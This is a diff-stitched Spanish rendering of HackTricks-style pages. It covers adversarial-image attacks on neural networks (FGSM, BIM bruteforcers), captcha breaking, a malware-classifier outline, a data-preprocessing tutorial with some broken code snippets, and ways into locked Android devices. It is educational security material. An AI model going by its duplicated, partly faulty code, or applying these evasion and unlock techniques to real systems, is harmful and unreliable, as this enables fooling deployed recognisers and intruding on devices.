Mientras estamos en versión **beta** y completando la implementación de todas las características descritas anteriormente, la suscripción y todos los laboratorios ya publicados con sus respectivos **desafíos son gratuitos**.\
Así que comienza a aprender cómo explotar A.I. de forma gratuita mientras puedas en [**BrA.I.Smasher Website**](https://beta.brainsmasher.eu)\
¡DISFRUTA ;)
**Mientras** estamos en versión **beta** y completando la implementación de todas las características descritas anteriormente, la suscripción y todos los laboratorios ya publicados con sus respectivos **desafíos son gratuitos**.\
**Así que comienza a aprender cómo explotar A.I. gratis mientras puedas en** [**BrA.I.Smasher Website**](https://beta.brainsmasher.eu)\
DISFRUTA ;)
_Un gran agradecimiento a Hacktricks y Carlos Polop por darnos esta oportunidad_
> _Walter Miele de BrA.I.nsmasher_
# Desafío de registro
# Desafío de Registro
Para registrarse en [**BrA.I.Smasher**](https://beta.brainsmasher.eu) necesitas resolver un desafío fácil ([**aquí**](https://beta.brainsmasher.eu/registrationChallenge)).\
Solo piensa cómo puedes confundir una red neuronal sin confundir la otra sabiendo que una detecta mejor al panda mientras que la otra es peor...
Para registrarte en [**BrA.I.Smasher**](https://beta.brainsmasher.eu) necesitas resolver un desafío fácil ([**aquí**](https://beta.brainsmasher.eu/registrationChallenge)).\
Solo piensa cómo puedes confundir una red neuronal sin confundir a la otra sabiendo que una detecta mejor el panda mientras que la otra es peor...
{% hint style="info" %}
Sin embargo, si en algún momento **no sabes cómo resolver** el desafío, o **incluso si lo resuelves**, consulta la solución oficial en [**google colab**](https://colab.research.google.com/drive/1MR8i\_ATm3bn3CEqwaEnRwF0eR25yKcjn?usp=sharing).
Sin embargo, si en algún momento **no sabes cómo resolver** el desafío, o **incluso si lo resuelves**, consulta la solución oficial en [**google colab**](https://colab.research.google.com/drive/1MR8i_ATm3bn3CEqwaEnRwF0eR25yKcjn?usp=sharing).
{% endhint %}
Tengo que decirte que hay **formas más fáciles** de pasar el desafío, pero esta **solución** es **increíble** ya que aprenderás cómo pasar el desafío realizando un **ataque de imagen adversaria realizando un método de gradiente rápido firmado (FGSM) para imágenes.**
Tengo que decirte que hay **formas más fáciles** de pasar el desafío, pero esta **solución** es **impresionante** ya que aprenderás cómo superar el desafío realizando un **Ataque de Imagen Adversaria con un Método de Gradiente Firmado Rápido (FGSM) para imágenes.**
# Más tutoriales
# Más Tutoriales
{% content-ref url="basic-captcha-breaker.md" %}
[basic-captcha-breaker.md](basic-captcha-breaker.md)
@ -55,16 +53,14 @@ Tengo que decirte que hay **formas más fáciles** de pasar el desafío, pero es
<details>
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<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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@ -1,12 +1,42 @@
# SCRIPT DE CORRUPCIÓN DE IMÁGENES DE BRUTEFORCE
<details>
El propósito aquí es introducir al usuario a algunos conceptos básicos sobre la explotación de aplicaciones de **A.I.**, a través de algunos scripts fáciles de seguir, que representan el núcleo para escribir herramientas útiles.\<br>\
En este ejemplo (que se puede utilizar para resolver los laboratorios fáciles de BrainSmasher) recordando también lo que está escrito en la solución para el desafío de introducción, proporcionaremos una manera simple pero útil, para producir iterativamente algunas imágenes corruptas, para hacer fuerza bruta en los laboratorios fáciles de reconocimiento facial (y por lo tanto también en aplicaciones reales que se basan en los mismos principios).
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Por supuesto, no proporcionaremos el código completo, sino sólo la parte central para la explotación del modelo, **en su lugar se dejarán algunos ejercicios al usuario (la parte de pentesting)**, para completar la herramienta. También proporcionaremos algunas pistas, sólo para dar una idea de lo que se puede hacer.
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</details>
# SCRIPT DE CORRUPCIÓN DE IMÁGENES PARA BRUTEFORCER
El propósito aquí es introducir al usuario a algunos conceptos básicos sobre la **explotación de aplicaciones de A.I.**, a través de algunos scripts fáciles de seguir, que representan el núcleo para escribir herramientas útiles.\<br>\
En este ejemplo (que se puede utilizar para resolver los laboratorios fáciles de BrainSmasher) recordando también lo que se escribió en la solución para el desafío de introducción, proporcionaremos una forma simple pero útil, con el fin de producir iterativamente algunas imágenes corruptas, para hacer bruteforce en los laboratorios fáciles de reconocimiento facial (y así también aplicaciones reales que se basan en los mismos principios)
Por supuesto, no proporcionaremos el código completo sino solo la parte central para la explotación del modelo, **en cambio, algunos ejercicios se dejarán al usuario (la parte de pentesting)**, con el fin de completar la herramienta. También proporcionaremos algunas pistas, solo para dar una idea de lo que se puede hacer.
El script se puede encontrar en [**IMAGE BRUTEFORCER**](https://colab.research.google.com/drive/1kUiWGRKr4vhqjI9Xgaqw3D5z3SeTXKmV)
Pruébalo en nuestros laboratorios [**BrA.I.Smasher Website**](https://beta.brainsmasher.eu)
Pruébalo en nuestros laboratorios [**Sitio web de BrA.I.Smasher**](https://beta.brainsmasher.eu)
¡Disfruta y mantente seguro!
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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@ -1,3 +1,35 @@
En este tutorial se va a romper un captcha básico. Se va a entrenar una NN utilizando varias imágenes que representan letras y luego esta NN se utilizará para identificar automáticamente las letras dentro de una imagen de captcha.
<details>
Consulte el impresionante tutorial guiado proporcionado por [**BrA.In Smasher**](https://beta.brainsmasher.eu/) en esta [**página de Google Collab**](https://colab.research.google.com/drive/1uiQJpqEj5V2_ijoumSd2noaDJuniTlKq?usp=sharing).
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</details>
En este tutorial **se va a romper un captcha básico**.
Se **entrenará una NN** usando varias **imágenes** que representan **letras** y luego esta NN se utilizará para **identificar automáticamente las letras dentro de una imagen de captcha**.
Consulta el increíble tutorial guiado proporcionado por [**BrA.In Smasher**](https://beta.brainsmasher.eu/) en esta [**página de google collab**](https://colab.research.google.com/drive/1uiQJpqEj5V2_ijoumSd2noaDJuniTlKq?usp=sharing).
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@ -1,29 +1,44 @@
# NÚCLEO DEL SCRIPT BRUTEFORCER CON ATAQUE BIM
<details>
En esta ocasión presentamos un nuevo tipo de ataque basado en gradiente, con el fin de realizar un ataque de fuerza bruta en una aplicación de clasificación de imágenes (que, por supuesto, puede ser moldeado y utilizado para cualquier tipo de entrada), el BIM o Método de Iteración Básica.
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Se recomienda ver al menos la explicación en el [**cuaderno de introducción al desafío**](https://colab.research.google.com/drive/1lDh0oZ3TR-z87WjogdegZCdtsUuDADcR).
Otras formas de apoyar a HackTricks:
Para profundizar en el tema del BIM: [https://arxiv.org/pdf/1607.02533.pdf](https://arxiv.org/pdf/1607.02533.pdf)
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Como de costumbre, proporcionaremos solo la parte central del ataque de IA. Depende de usted completar la herramienta y mezclarla con técnicas de PT, según la situación.
</details>
# SCRIPT NÚCLEO DE FUERZA BRUTA CON ATAQUE BIM
Esta vez presentamos un nuevo tipo de ataque basado en gradientes, con el fin de forzar bruscamente una aplicación de clasificación de imágenes \(puede ser moldeado y utilizado para cualquier entrada, por supuesto\), el BIM, o Método de Iteración Básico.
Se recomienda ver al menos la explicación en el [**cuaderno de notas colab del desafío de introducción**](https://colab.research.google.com/drive/1lDh0oZ3TR-z87WjogdegZCdtsUuDADcR)
Para profundizar en el tema BIM: [https://arxiv.org/pdf/1607.02533.pdf](https://arxiv.org/pdf/1607.02533.pdf)
Como de costumbre, solo proporcionaremos la parte central del ataque de I.A., depende de ti completar la herramienta y combinarla con técnicas de PT, dependiendo de las situaciones.
{% hint style="info" %}
Recuerde que, en este tipo de escenarios, para imitar aplicaciones de ataque basadas en la realidad, no tenemos el modelo exacto para engañar o la imagen objetivo en la que nos gustaría transformar nuestra imagen. Por eso, para superar este problema, debemos mezclar nuestro núcleo de script con una lógica de fuerza bruta, de acuerdo con las respuestas de la aplicación que queremos engañar.
Recuerda, en este tipo de escenarios, para imitar aplicaciones de ataque basadas en la realidad, no tenemos el modelo exacto para engañar o la imagen objetivo en la que nos gustaría transformar nuestra imagen. Por eso, para superar este problema, debemos combinar nuestro script central, con una lógica de fuerza bruta, de acuerdo a las respuestas de la aplicación que queremos engañar.
{% endhint %}
<details>
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@ -1,54 +1,50 @@
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# CLASIFICADOR DE MALWARE HÍBRIDO DE A.I.
# CLASIFICADOR HÍBRIDO DE MALWARE A.I.
## HABILIDADES INTERMEDIAS DE PYTHON, HABILIDADES INTERMEDIAS DE APRENDIZAJE AUTOMÁTICO \(Parte 1\)
## HABILIDAD INTERMEDIA EN PYTHON, HABILIDADES INTERMEDIAS DE MACHINE LEARNING \(Parte 1\)
En esta serie de cuadernos vamos a construir un **clasificador de malware híbrido.**
En esta serie de cuadernos vamos a construir un **clasificador híbrido de malware.**
Para la **Primera parte** nos centraremos en el script que implica el análisis dinámico. Cualquier paso de esta serie será útil para detectar malwares, y en esta pieza intentaremos clasificarlos en función de su comportamiento, utilizando los registros producidos al ejecutar un programa.
Para la **Primera parte** nos centraremos en el scripting que implica el análisis dinámico. Cualquier paso de esta serie será útil para detectar malwares, y en esta pieza intentaremos clasificarlos basándonos en su comportamiento, utilizando los registros producidos al ejecutar un programa.
En la **Segunda Parte** veremos cómo manipular los archivos de registro para agregar robustez a nuestro clasificador y ajustar el código para contrarrestar los métodos más avanzados de evasión de malware de A.I.
En la **Segunda Parte** veremos cómo manipular los archivos de registros para añadir robustez a nuestro clasificador y ajustar el código para contrarrestar los métodos más avanzados de Evasión de Malware A.I.
En la **Tercera Parte** crearemos un clasificador de malware estático.
En la **Tercera Parte** crearemos un Clasificador de Malware Estático.
Para la **Cuarta Parte** agregaremos algunas tácticas para agregar robustez a nuestro clasificador estático y fusionaremos este último con nuestro clasificador dinámico.
Para la **Cuarta Parte** añadiremos algunas tácticas para añadir robustez a nuestro Clasificador Estático y fusionar este último con nuestro Clasificador Dinámico.
**TENGA EN CUENTA:** Esta serie depende en gran medida de la construcción de un conjunto de datos por su cuenta, aunque no es obligatorio.
**TENGA EN CUENTA:** Esta Serie depende en gran medida de construir su propio conjunto de datos, aunque no es obligatorio.
También hay muchos conjuntos de datos disponibles para el análisis de malware estático y/o dinámico en varios sitios para este tipo de clasificación, como Ember, VirusShare, Sorel-20M, pero recomiendo encarecidamente que construya uno propio.
También hay muchos conjuntos de datos disponibles para el análisis de Malware Estático y/o Dinámico en varios sitios para este tipo de clasificación, como Ember, VirusShare, Sorel-20M, pero recomiendo encarecidamente que construyas uno propio.
Aquí está el enlace a nuestro [**cuaderno de colab**](https://colab.research.google.com/drive/1nNZLMogXF-iq-_78IvGTd-c89_C82AB8#scrollTo=lUHLMl8Pusrn) disfrútelo y manténgase seguro :\)
Aquí está el enlace a nuestro [**cuaderno de colab**](https://colab.research.google.com/drive/1nNZLMogXF-iq-_78IvGTd-c89_C82AB8#scrollTo=lUHLMl8Pusrn) disfruta y mantente seguro :\)
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@ -1,40 +1,38 @@
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# Tipos básicos de datos posibles
Los datos pueden ser **continuos** (con **infinitos** valores) o **categóricos** (nominales) donde la cantidad de valores posibles es **limitada**.
Los datos pueden ser **continuos** (**infinitos** valores) o **categóricos** (nominales) donde la cantidad de valores posibles es **limitada**.
## Tipos categóricos
### Binario
Solo hay **2 valores posibles**: 1 o 0. En caso de que en un conjunto de datos los valores estén en formato de cadena (por ejemplo, "Verdadero" y "Falso"), se asignan números a esos valores con:
Solo **2 valores posibles**: 1 o 0. En caso de que en un conjunto de datos los valores estén en formato de cadena (por ejemplo, "True" y "False") puedes asignar números a esos valores con:
```python
dataset["column2"] = dataset.column2.map({"T": 1, "F": 0})
```
### **Ordinal**
Los **valores siguen un orden**, como en: 1er lugar, 2do lugar... Si las categorías son cadenas de texto (como: "principiante", "amateur", "profesional", "experto") se pueden asignar números a cada una de ellas como vimos en el caso binario.
Los **valores siguen un orden**, como en: 1er lugar, 2do lugar... Si las categorías son cadenas (como: "principiante", "aficionado", "profesional", "experto") puedes mapearlas a números como vimos en el caso binario.
```python
column2_mapping = {'starter':0,'amateur':1,'professional':2,'expert':3}
dataset['column2'] = dataset.column2.map(column2_mapping)
```
* Para las columnas **alfabéticas** puedes ordenarlas más fácilmente:
* Para **columnas alfabéticas** puedes ordenarlas más fácilmente:
```python
# First get all the uniq values alphabetically sorted
possible_values_sorted = dataset.column2.sort_values().unique().tolist()
@ -44,18 +42,18 @@ dataset['column2'] = dataset.column2.map(possible_values_mapping)
```
### **Cíclico**
Se parece a un valor ordinal porque hay un orden, pero no significa que uno sea más grande que el otro. Además, la distancia entre ellos depende de la dirección en la que se esté contando. Ejemplo: los días de la semana, el domingo no es "más grande" que el lunes.
Parece **como valor ordinal** porque hay un orden, pero no significa que uno sea mayor que el otro. Además, la **distancia entre ellos depende de la dirección** en la que estés contando. Ejemplo: Los días de la semana, el domingo no es "mayor" que el lunes.
* Hay diferentes formas de codificar características cíclicas, algunas pueden funcionar solo con algunos algoritmos. En general, se puede utilizar la codificación de variables ficticias.
* Hay **diferentes maneras** de codificar características cíclicas, algunas pueden funcionar solo con algunos algoritmos. **En general, se puede usar la codificación dummy**
```python
column2_dummies = pd.get_dummies(dataset.column2, drop_first=True)
dataset_joined = pd.concat([dataset[['column2']], column2_dummies], axis=1)
```
### **Fechas**
Las fechas son **variables continuas**. Pueden ser vistas como **cíclicas** (porque se repiten) o como variables **ordinales** (porque un tiempo es mayor que otro anterior).
Las fechas son **variables** **continuas**. Pueden considerarse **cíclicas** (porque se repiten) **o** como variables **ordinales** (porque un momento es mayor que el anterior).
* Usualmente las fechas son usadas como **índice**.
* Generalmente las fechas se utilizan como **índice**
```python
# Transform dates to datetime
dataset["column_date"] = pd.to_datetime(dataset.column_date)
@ -85,24 +83,24 @@ dataset['day_name'] = dataset.transaction_date.apply(lambda x: x.day_name())
```
### Multi-categoría/nominal
**Más de 2 categorías** sin un orden relacionado. Use `dataset.describe(include='all')` para obtener información sobre las categorías de cada característica.
**Más de 2 categorías** sin un orden relacionado. Usa `dataset.describe(include='all')` para obtener información sobre las categorías de cada característica.
* Una **cadena de referencia** es una **columna que identifica un ejemplo** (como el nombre de una persona). Esto puede estar duplicado (porque 2 personas pueden tener el mismo nombre), pero la mayoría será único. Estos datos son **inútiles y deben eliminarse**.
* Una **columna clave** se utiliza para **vincular datos entre tablas**. En este caso, los elementos son únicos. Estos datos son **inútiles y deben eliminarse**.
* Una **cadena de referencia** es una **columna que identifica un ejemplo** (como el nombre de una persona). Esto puede estar duplicado (porque 2 personas pueden tener el mismo nombre) pero la mayoría será único. Estos datos son **inútiles y deben eliminarse**.
* Una **columna clave** se utiliza para **vincular datos entre tablas**. En este caso los elementos son únicos. Estos datos son **inútiles y deben eliminarse**.
Para **codificar columnas de múltiples categorías en números** (para que el algoritmo de ML los entienda), se utiliza la **codificación de dummies** (y **no la codificación one-hot** porque **no evita la multicolinealidad perfecta**).
Para **codificar columnas de multi-categoría en números** (para que el algoritmo de ML las entienda), se utiliza la **codificación dummy** (y **no la codificación one-hot** porque **no evita la multicolinealidad perfecta**).
Puede obtener una **columna de múltiples categorías codificada one-hot** con `pd.get_dummies(dataset.column1)`. Esto transformará todas las clases en características binarias, por lo que creará **una nueva columna por cada clase posible** y asignará 1 **valor verdadero a una columna**, y el resto será falso.
Puedes obtener una **columna de multi-categoría codificada en one-hot** con `pd.get_dummies(dataset.column1)`. Esto transformará todas las clases en características binarias, por lo que creará **una nueva columna por cada clase posible** y asignará 1 **valor verdadero a una columna**, y el resto serán falsos.
Puede obtener una **columna de múltiples categorías codificada en dummies** con `pd.get_dummies(dataset.column1, drop_first=True)`. Esto transformará todas las clases en características binarias, por lo que creará **una nueva columna por cada clase posible menos una** ya que **las últimas 2 columnas se reflejarán como "1" o "0" en la última columna binaria creada**. Esto evitará la multicolinealidad perfecta, reduciendo las relaciones entre columnas.
Puedes obtener una **columna de multi-categoría codificada en dummy** con `pd.get_dummies(dataset.column1, drop_first=True)`. Esto transformará todas las clases en características binarias, por lo que creará **una nueva columna por cada clase posible menos una** ya que **las últimas 2 columnas se reflejarán como "1" o "0" en la última columna binaria creada**. Esto evitará la multicolinealidad perfecta, reduciendo las relaciones entre columnas.
# Colinealidad/Multicolinealidad
# Colineal/Multicolinealidad
La colinealidad aparece cuando **2 características están relacionadas entre sí**. La multicolinealidad aparece cuando hay más de 2.
La colinealidad aparece cuando **2 características están relacionadas entre sí**. La multicolinealidad aparece cuando son más de 2.
En ML **quieres que tus características estén relacionadas con los posibles resultados, pero no quieres que estén relacionadas entre sí**. Es por eso que la **codificación de dummies mezcla las últimas dos columnas** de eso y **es mejor que la codificación one-hot** que no lo hace, creando una clara relación entre todas las nuevas características de la columna de múltiples categorías.
En ML **quieres que tus características estén relacionadas con los posibles resultados pero no quieres que estén relacionadas entre ellas**. Por eso la **codificación dummy mezcla las últimas dos columnas** de eso y **es mejor que la codificación one-hot** que no hace eso creando una relación clara entre todas las nuevas características de la columna de multi-categoría.
VIF es el **Factor de Inflación de la Varianza** que **mide la multicolinealidad de las características**. Un valor **superior a 5 significa que una de las dos o más características colineales debe eliminarse**.
VIF es el **Factor de Inflación de la Varianza** que **mide la multicolinealidad de las características**. Un valor **por encima de 5 significa que una de las dos o más características colineales debe eliminarse**.
```python
from statsmodels.stats.outliers_influence import variance_inflation_factor
from statsmodels.tools.tools import add_constant
@ -125,9 +123,9 @@ print(dataset.target_column.value_counts())
```
En un desequilibrio siempre hay una **clase o clases mayoritarias** y una **clase o clases minoritarias**.
Hay 2 formas principales de solucionar este problema:
Hay 2 maneras principales de solucionar este problema:
* **Submuestreo**: Eliminar datos seleccionados al azar de la clase mayoritaria para que tenga el mismo número de muestras que la clase minoritaria.
* **Undersampling**: Eliminar datos seleccionados al azar de la clase mayoritaria para que tenga el mismo número de muestras que la clase minoritaria.
```python
from imblearn.under_sampling import RandomUnderSampler
rus = RandomUserSampler(random_state=1337)
@ -138,7 +136,7 @@ y = dataset.target_column
X_under, y_under = rus.fit_resample(X,y)
print(y_under.value_counts()) #Confirm data isn't imbalanced anymore
```
* **Sobremuestreo**: Generar más datos para la clase minoritaria hasta que tenga tantas muestras como la clase mayoritaria.
* **Oversampling**: Generar más datos para la clase minoritaria hasta que tenga tantas muestras como la clase mayoritaria.
```python
from imblearn.under_sampling import RandomOverSampler
ros = RandomOverSampler(random_state=1337)
@ -149,15 +147,15 @@ y = dataset.target_column
X_over, y_over = ros.fit_resample(X,y)
print(y_over.value_counts()) #Confirm data isn't imbalanced anymore
```
Puedes usar el argumento **`sampling_strategy`** para indicar el **porcentaje** que deseas **submuestrear o sobremuestrear** (**por defecto es 1 (100%)** lo que significa igualar el número de clases minoritarias con las clases mayoritarias).
Puede utilizar el argumento **`sampling_strategy`** para indicar el **porcentaje** que desea **submuestrear o sobremuestrear** (**por defecto es 1 (100%)**, lo que significa igualar el número de clases minoritarias con las clases mayoritarias)
{% hint style="info" %}
El submuestreo o sobremuestreo no son perfectos, si obtienes estadísticas (con `.describe()`) de los datos sobre/submuestreados y los comparas con los originales, verás **que han cambiado**. Por lo tanto, el sobremuestreo y el submuestreo modifican los datos de entrenamiento.
El submuestreo o sobremuestreo no son perfectos si obtiene estadísticas (con `.describe()`) de los datos sub/sobremuestreados y los compara con los originales, verá **que han cambiado**. Por lo tanto, el sobremuestreo y submuestreo están modificando los datos de entrenamiento.
{% endhint %}
## Sobremuestreo SMOTE
## Sobremuestreo con SMOTE
**SMOTE** es generalmente una **forma más confiable de sobremuestrear los datos**.
**SMOTE** suele ser una **forma más confiable de sobremuestrear los datos**.
```python
from imblearn.over_sampling import SMOTE
@ -168,50 +166,50 @@ dataset_smote = pd.DataFrame(X_smote, columns=['column1', 'column2', 'column3'])
dataset['target_column'] = y_smote
print(y_smote.value_counts()) #Confirm data isn't imbalanced anymore
```
# Categorías de ocurrencia rara
# Categorías que Ocurren Raramente
Imagina un conjunto de datos donde una de las clases objetivo ocurre muy pocas veces.
Imagina un conjunto de datos donde una de las clases objetivo **ocurre muy pocas veces**.
Esto es similar al desequilibrio de categorías de la sección anterior, pero la categoría de ocurrencia rara ocurre incluso menos que la "clase minoritaria" en ese caso. Los métodos de **sobremuestreo** y **submuestreo** **brutos** también podrían usarse aquí, pero generalmente esas técnicas **no darán resultados realmente buenos**.
Esto es como el desequilibrio de categorías de la sección anterior, pero la categoría que ocurre raramente lo hace incluso menos que la "clase minoritaria" en ese caso. Los métodos de **sobremuestreo** y **submuestreo** **crudos** también podrían usarse aquí, pero generalmente esas técnicas **no darán resultados realmente buenos**.
## Pesos
En algunos algoritmos es posible **modificar los pesos de los datos objetivo** para que algunos de ellos tengan por defecto más importancia al generar el modelo.
En algunos algoritmos es posible **modificar los pesos de los datos objetivo** para que algunos de ellos obtengan por defecto más importancia al generar el modelo.
```python
weights = {0: 10 1:1} #Assign weight 10 to False and 1 to True
model = LogisticRegression(class_weight=weights)
```
Puedes **mezclar los pesos con técnicas de sobremuestreo/submuestreo** para intentar mejorar los resultados.
Puedes **combinar los pesos con técnicas de sobremuestreo/submuestreo** para intentar mejorar los resultados.
## PCA - Análisis de Componentes Principales
Es un método que ayuda a reducir la dimensionalidad de los datos. Va a **combinar diferentes características** para **reducir la cantidad** de ellas generando **características más útiles** (_se necesita menos cómputo_).
Es un método que ayuda a reducir la dimensionalidad de los datos. Va a **combinar diferentes características** para **reducir la cantidad** de ellas generando **características más útiles** (_se necesita menos cálculo_).
Las características resultantes no son comprensibles por los humanos, por lo que también **anonimiza los datos**.
Las características resultantes no son comprensibles para los humanos, por lo que también **anonimiza los datos**.
# Categorías de etiquetas incongruentes
# Categorías de Etiquetas Incongruentes
Los datos pueden tener errores por transformaciones fallidas o simplemente por errores humanos al escribir los datos.
Los datos pueden tener errores por transformaciones fallidas o simplemente por error humano al escribir los datos.
Por lo tanto, es posible encontrar la **misma etiqueta con errores ortográficos**, diferentes **mayúsculas**, **abreviaturas** como: _BLUE, Blue, b, bule_. Necesitas corregir estos errores de etiqueta dentro de los datos antes de entrenar el modelo.
Por lo tanto, podrías encontrar la **misma etiqueta con errores ortográficos**, diferente **capitalización**, **abreviaturas** como: _BLUE, Blue, b, bule_. Necesitas corregir estos errores de etiquetas dentro de los datos antes de entrenar el modelo.
Puedes solucionar estos problemas convirtiendo todo en minúsculas y asignando etiquetas mal escritas a las correctas.
Puedes limpiar estos problemas convirtiendo todo a minúsculas y mapeando las etiquetas mal escritas a las correctas.
Es muy importante comprobar que **todos los datos que tienes están etiquetados correctamente**, porque por ejemplo, un error de ortografía en los datos, al codificar las clases, generará una nueva columna en las características finales con **consecuencias negativas para el modelo final**. Este ejemplo se puede detectar muy fácilmente codificando en caliente una columna y comprobando los nombres de las columnas creadas.
Es muy importante verificar que **todos los datos que tienes estén correctamente etiquetados**, porque por ejemplo, un error de ortografía en los datos, al codificar las clases de forma ficticia, generará una nueva columna en las características finales con **malas consecuencias para el modelo final**. Este ejemplo se puede detectar muy fácilmente codificando una columna en caliente y revisando los nombres de las columnas creadas.
# Datos faltantes
# Datos Faltantes
Puede faltar algún dato del estudio.
Puede que falten algunos datos del estudio.
Puede suceder que falte algún dato completamente al azar por algún error. Este tipo de dato está **Completamente Faltante al Azar** (**MCAR**).
Podría ocurrir que algunos datos completamente aleatorios falten por algún error. Este tipo de datos es **Missing Completely at Random** (**MCAR**).
Podría ser que falte algún dato al azar, pero hay algo que hace que algunos detalles específicos sean más probables de faltar, por ejemplo, los hombres suelen decir su edad con más frecuencia que las mujeres. Esto se llama **Faltante al Azar** (**MAR**).
Podría ser que falten algunos datos aleatorios pero hay algo que hace que ciertos detalles específicos sean más propensos a faltar, por ejemplo, es más frecuente que los hombres revelen su edad pero no las mujeres. Esto se llama **Missing at Random** (**MAR**).
Finalmente, podría haber datos **Faltantes No al Azar** (**MNAR**). El valor de los datos está directamente relacionado con la probabilidad de tener los datos. Por ejemplo, si quieres medir algo vergonzoso, cuanto más vergonzoso sea alguien, menos probable es que lo comparta.
Finalmente, podría haber datos **Missing Not at Random** (**MNAR**). El valor de los datos está directamente relacionado con la probabilidad de tener los datos. Por ejemplo, si quieres medir algo vergonzoso, cuanto más vergonzoso sea alguien, menos probable es que lo comparta.
Las **dos primeras categorías** de datos faltantes se pueden **ignorar**. Pero la **tercera** requiere considerar **sólo porciones de los datos** que no estén afectadas o intentar **modelar los datos faltantes de alguna manera**.
Las **dos primeras categorías** de datos faltantes pueden ser **ignorables**. Pero la **tercera** requiere considerar **solo porciones de los datos** que no estén impactados o intentar **modelar los datos faltantes de alguna manera**.
Una forma de averiguar sobre los datos faltantes es usar la función `.info()`, ya que indicará el **número de filas pero también el número de valores por categoría**. Si alguna categoría tiene menos valores que el número de filas, entonces faltan algunos datos:
Una forma de descubrir datos faltantes es usar la función `.info()` ya que indicará el **número de filas pero también el número de valores por categoría**. Si alguna categoría tiene menos valores que el número de filas, entonces hay algunos datos faltantes:
```bash
# Get info of the dataset
dataset.info()
@ -219,29 +217,29 @@ dataset.info()
# Drop all rows where some value is missing
dataset.dropna(how='any', axis=0).info()
```
Generalmente se recomienda que si una característica **falta en más del 20%** del conjunto de datos, la **columna debe ser eliminada:**
Se recomienda generalmente que si una característica **falta en más del 20%** del conjunto de datos, la **columna debe eliminarse:**
```bash
# Remove column
dataset.drop('Column_name', axis='columns', inplace=True)
dataset.info()
```
{% hint style="info" %}
Ten en cuenta que **no todos los valores faltantes están ausentes en el conjunto de datos**. Es posible que los valores faltantes hayan sido reemplazados por "Desconocido", "n/a", "", -1, 0... Debes verificar el conjunto de datos (usando `dataset.column`_`name.value`_`counts(dropna=False)` para verificar los posibles valores).
Tenga en cuenta que **no todos los valores faltantes están ausentes en el conjunto de datos**. Es posible que a los valores faltantes se les haya dado el valor "Desconocido", "n/a", "", -1, 0... Necesita revisar el conjunto de datos (usando `dataset.column`_`name.value`_`counts(dropna=False)` para verificar los posibles valores).
{% endhint %}
Si falta algún dato en el conjunto de datos (si no es demasiado), debes encontrar la **categoría de los datos faltantes**. Para ello, básicamente necesitas saber si los **datos faltantes están al azar o no**, y para ello necesitas encontrar si los **datos faltantes estaban correlacionados con otros datos** del conjunto de datos.
Si falta información en el conjunto de datos (y no es demasiado), necesita encontrar la **categoría de los datos faltantes**. Para eso básicamente necesita saber si los **datos faltantes son al azar o no**, y para eso necesita averiguar si los **datos faltantes estaban correlacionados con otros datos** del conjunto de datos.
Para encontrar si un valor faltante está correlacionado con otra columna, puedes crear una nueva columna que ponga 1 y 0 si los datos faltan o no, y luego calcular la correlación entre ellos:
Para averiguar si un valor faltante está correlacionado con otra columna, puede crear una nueva columna que ponga 1s y 0s si los datos faltan o no y luego calcular la correlación entre ellos:
```bash
# The closer it's to 1 or -1 the more correlated the data is
# Note that columns are always perfectly correlated with themselves.
dataset[['column_name', 'cloumn_missing_data']].corr()
```
Si decides ignorar los datos faltantes, aún necesitas decidir qué hacer con ellos: puedes **eliminar las filas** con datos faltantes (los datos de entrenamiento para el modelo serán más pequeños), puedes **eliminar completamente la característica**, o puedes **modelarla**.
Si decides ignorar los datos faltantes, aún necesitas decidir qué hacer con ellos: Puedes **eliminar las filas** con datos faltantes (los datos de entrenamiento para el modelo serán menores), puedes **eliminar la característica** por completo, o podrías **modelarla**.
Debes **verificar la correlación entre la característica faltante y la columna objetivo** para ver qué tan importante es esa característica para el objetivo, si es realmente **pequeña**, puedes **eliminarla o llenarla**.
Deberías **verificar la correlación entre la característica faltante y la columna objetivo** para ver cuán importante es esa característica para el objetivo, si es realmente **pequeña** puedes **descartarla o rellenarla**.
Para llenar datos faltantes **continuos**, puedes usar: la **media**, la **mediana** o usar un **algoritmo de imputación**. El algoritmo de imputación puede intentar usar otras características para encontrar un valor para la característica faltante:
Para rellenar datos **continuos** faltantes podrías usar: la **media**, la **mediana** o usar un algoritmo de **imputación**. El algoritmo de imputación puede intentar usar otras características para encontrar un valor para la característica faltante:
```python
from sklearn.impute import KNNImputer
@ -257,7 +255,7 @@ dataset_imp = pd.DataFrame(X_imp)
dataset.columns = ['column1', 'column2', 'column3']
dataset.iloc[10:20] # Get some indexes that contained empty data before
```
Para rellenar datos categóricos, primero debes pensar si hay alguna razón por la cual los valores estén faltando. Si es por **elección de los usuarios** (no quisieron proporcionar los datos), tal vez puedas **crear una nueva categoría** que lo indique. Si es debido a un error humano, puedes **eliminar las filas** o la **característica** (verifica los pasos mencionados anteriormente) o **rellenarla con la moda, la categoría más utilizada** (no recomendado).
Para completar datos categóricos, primero debes pensar si hay alguna razón por la que los valores están ausentes. Si es por **elección de los usuarios** (no querían dar los datos), quizás puedas **crear una nueva categoría** que indique eso. Si es debido a un error humano, puedes **eliminar las filas** o la **característica** (revisa los pasos mencionados antes) o **completarla con la moda, la categoría más utilizada** (no recomendado).
# Combinando Características
@ -276,16 +274,14 @@ pd.Series([variance_inflation_factor(X.values, i) for i in range(X.shape[1])], i
```
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@ -1,39 +1,51 @@
# Forense de Android
# Android Forensics
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## Dispositivo bloqueado
## Dispositivo Bloqueado
Para empezar a extraer datos de un dispositivo Android, éste tiene que estar desbloqueado. Si está bloqueado, puedes:
Para comenzar a extraer datos de un dispositivo Android, este debe estar desbloqueado. Si está bloqueado puedes:
* Comprobar si el dispositivo tiene activada la depuración a través de USB.
* Comprobar si hay un posible [ataque de huellas dactilares](https://www.usenix.org/legacy/event/woot10/tech/full\_papers/Aviv.pdf).
* Intentar con [fuerza bruta](https://www.cultofmac.com/316532/this-brute-force-device-can-crack-any-iphones-pin-code/).
* Verificar si el dispositivo tiene la depuración por USB activada.
* Buscar un posible [ataque de manchas](https://www.usenix.org/legacy/event/woot10/tech/full_papers/Aviv.pdf)
* Intentar con [Fuerza Bruta](https://www.cultofmac.com/316532/this-brute-force-device-can-crack-any-iphones-pin-code/)
